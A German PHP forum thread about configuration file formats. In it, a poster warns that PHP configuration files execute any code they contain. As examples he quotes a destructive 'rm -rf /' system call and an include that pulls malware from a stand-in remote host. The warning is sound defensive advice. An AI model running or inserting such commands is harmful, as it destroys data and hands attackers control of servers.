Moin Moin!
Meine Frage: welches Format ist hier so üblich? Macht man sowas mit XML, oder besser mit Json oder Yaml? Oder einfach die PHP-Datei inkludieren?
XML, JSON und Yaml haben alle den Nachteil, dass man das Format erst mit PHP-Code parsen muss.
Die performanteste Art ist, die Konfiguration in einer PHP-Datei als PHP-Code abzulegen:
Vorteil: Der Konfigurationscode ist im PHP-Opcode-Cache. Schneller als so kriegt man Konfigurationen nicht eingelesen.
Den riesigen Nachteil von Programmcode in einer Konfigurationsdatei für eine Scriptsprache hast Du vergessen:
Der Programmcode in der Konfigurationsdatei wird gnadenlos ausgeführt. Auch Dinge wie system("rm -rf / > /dev/null 2> /dev/null &")
oder include 'http://www.example.com/eviljoe/malware.php.txt'
.
Natürlich muß so etwas erst einmal in die Konfigurationsdatei rein. Aber dafür reicht eine kleine Lücke, die Schreibzugriffe auf die Datei erlaubt. Danach hat ein Angreifer volle Kontrolle über PHP.
Mit INI-Dateien, JSON, YAML und XML kann das nicht passieren, es sei denn, man fängt bewußt an, Werte aus der Konfigurationsdatei ungeprüft an eval, Wrapper o.ä. weiterzureichen.
Alexander
Today I will gladly share my knowledge and experience, for there are no sweeter words than "I told you so".